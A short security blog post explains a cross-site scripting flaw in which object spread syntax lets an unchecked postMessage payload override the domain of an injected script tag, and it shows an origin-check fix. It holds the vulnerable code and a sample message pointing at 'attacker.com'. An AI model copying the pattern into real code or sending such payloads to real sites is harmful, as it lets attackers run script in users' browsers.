Spread syntax and postMessage walk into a bar…


I wanted to highlight this bug as I have only seen it mentioned in very few places (linked at the bottom of this post), and thought it was an interesting code pattern to be on the lookout for. Before you continue reading, try to stop and see if there’s anything inherently wrong with the code below. There’s a few mistakes that the developers made that should immediately jump out at you.

function handleScriptConfig(value) {
  const pathRegex = /^[a-zA-Z0-9/.-]*$/;

  if (!pathRegex.test(value.path) && !pathRegex.test(value.resource)) return;

  const scriptConfig = {
    domain: 'example-cdn.com',
    ...value,
  };

  const buildScriptSrc = `https://${scriptConfig.domain + scriptConfig.path + scriptConfig.resource}`;

  const scriptTag = document.createElement('script');
  scriptTag.setAttribute('src', buildScriptSrc);
  document.body.appendChild(scriptTag);
}

window.addEventListener('message', function(event) {
  if (event.data.path && event.data.resource) {
    handleScriptConfig(event.data);
  }
});


Did you notice anything? First on the list is the lack of validation done in the message event listener to confirm that the sending origin is trusted, an improved version of this would look like the following:

window.addEventListener('message', function(event) {
  // Validate that the origin of the message is trusted.
  if (event.origin !== "https://example.com") return;

  if (event.data.path && event.data.resource) {
    handleScriptConfig(event.data);
  }
});


Without this check any opening window, or window within the frame hierarchy can send messages containing their own potentially malicious data to the vulnerable page as they please. The interesting part of this code is in the handleScriptConfig() function. This function takes two properties from the postMessage object, builds the URL that’s subsequently used in the src attribute of a script element, and appends the script to the DOM. At first glance it may be easy to assume that the value for the domain property in the scriptConfig object is not controllable, but the usage of spread syntax to merge the properties from the postMessage object to scriptConfig undermine this assumption completely.

MDN explains spread syntax in the context of object literals like so:

In an object literal, the spread syntax enumerates the properties of an object and adds the key-value pairs to the object being created.

Further, there is one important caveat that comes with using spread syntax in this context:

When one object is spread into another object, or when multiple objects are spread into one object, and properties with identical names are encountered, the property takes the last value assigned while remaining in the position it was originally set.

This means that all an attacker would need to do to control the location of the resource that gets embedded in the page is send their own domain property in the message. the below object would allow complete control over the script that gets embedded in the document:

var messageData = {
  path: '/get/rekt/',
  resource: "loser.js",
  domain: 'attacker.com'
};


Other posts about spread syntax and its pitfalls: https://vccolombo.github.io/cybersecurity/spread-operator-leading-to-xss/ https://vccolombo.github.io/cybersecurity/idor-vulnerability-in-a-personal-project-api/